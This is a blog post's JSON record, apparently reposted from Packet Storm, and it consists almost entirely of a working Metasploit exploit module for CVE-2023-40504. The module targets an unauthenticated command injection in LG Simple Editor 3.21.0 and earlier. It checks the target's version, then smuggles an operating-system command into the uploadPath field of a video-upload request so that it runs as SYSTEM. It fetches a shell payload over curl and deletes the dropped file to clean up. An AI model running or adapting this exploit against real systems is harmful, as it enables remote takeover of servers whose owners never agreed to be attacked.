{"id":58903,"date":"2024-08-15T18:59:51","date_gmt":"2024-08-15T15:59:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180171\/lg_simple_editor_rce_uploadvideo.rb.txt"},"modified":"2024-08-15T18:59:51","modified_gmt":"2024-08-15T15:59:51","slug":"lg-simple-editor-3-21-0-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/lg-simple-editor-3-21-0-command-injection\/","title":{"rendered":"LG Simple Editor 3.21.0 Command Injection"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;LG Simple Editor Command Injection (CVE-2023-40504)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Unauthenticated Command Injection in LG Simple Editor &lt;= v3.21.0.<br \/>The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;rgod&#8217;, # Vulnerability discovery<br \/>&#8216;Michael Heinzl&#8217; # MSF module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-23-1208\/&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-40504&#8217;]<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-08-04&#8217;,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Windows_Fetch&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;FETCH_COMMAND&#8217; =&gt; &#8216;CURL&#8217; },<br \/>&#8216;Type&#8217; =&gt; :win_fetch,<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8216;\\\\&#8217;<br \/>}<br \/>}<br \/>]<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<\/p>\n<p>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]<br \/>}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI of the LG Simple Editor&#8217;, &#8216;\/&#8217;])<br \/>]<br \/>)<br \/>end<\/p>\n<p># Determine if the Simple Editor instance runs a vulnerable version<br \/># copied from lg_simple_editor_rce.rb<br \/>def check<br \/>res = send_request_cgi(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri, &#8216;simpleeditor&#8217;, &#8216;common&#8217;, &#8216;commonReleaseNotes.do&#8217;)<br \/>}<br \/>)<\/p>\n<p>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<\/p>\n<p>version = Rex::Version.new(res.get_html_document.xpath(&#8216;\/\/h2&#8217;)[0]&amp;.text&amp;.gsub(&#8216;v&#8217;, &#8221;))<br \/>return Exploit::CheckCode::Unknown if version.nil? || version == &#8216;Unknown&#8217;<br \/>return Exploit::CheckCode::Appears(&#8220;Version: #{version}&#8221;) if version &lt;= Rex::Version.new(&#8216;3.21.0&#8217;)<\/p>\n<p>Exploit::CheckCode::Safe<br \/>end<\/p>\n<p>def exploit<br \/>execute_command(payload.encoded)<br \/>end<\/p>\n<p>def execute_command(cmd)<br \/>print_status(&#8216;Sending command injection&#8230;&#8217;)<br \/>exec_simplerce(cmd)<br \/>print_status(&#8216;Exploit finished, check thy shell.&#8217;)<br \/>end<\/p>\n<p># Send command injection<br \/>def exec_simplerce(cmd)<br \/>filename = Rex::Text.rand_text_alpha(1..6)<br \/>vprint_status(&#8220;Using random filename: #{filename}.mp4&#8221;)<br \/>form = Rex::MIME::Message.new<br \/>form.add_part(&#8216;\/&#8217;, nil, nil, &#8220;form-data; name=\\&#8221;uploadVideo\\&#8221;; filename=\\&#8221;#{filename}.mp4\\&#8221;&#8221;)<br \/>form.add_part(&#8220;\/\\&#8221;&amp;#{cmd}&amp;cd ..&amp;cd ..&amp;cd ..&amp;cd server&amp;cd webapps&amp;cd simpleeditor&amp;del #{filename}.mp4&amp;\/..\/&#8221;, nil, nil, &#8216;form-data; name=&#8221;uploadPath&#8221;&#8216;)<br \/>form.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=&#8221;uploadFile_x&#8221;&#8216;)<br \/>form.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=&#8221;uploadFile_width&#8221;&#8216;)<br \/>form.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=&#8221;uploadFile_height&#8221;&#8216;)<\/p>\n<p>res = send_request_cgi(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;simpleeditor&#8217;, &#8216;imageManager&#8217;, &#8216;uploadVideo.do&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{form.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; form.to_s<br \/>}<br \/>)<br \/>if res &amp;&amp; res.code == 200<br \/>print_good &#8216;Command injection sent.&#8217;<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer}: Unexpected response received.&#8221;)<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;LG Simple Editor Command Injection (CVE-2023-40504)&#8217;,&#8216;Description&#8217; =&gt; %q{Unauthenticated Command Injection in LG Simple Editor &lt;= v3.21.0.The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.},&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58903","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58903","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58903"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58903\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58903"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58903"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58903"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}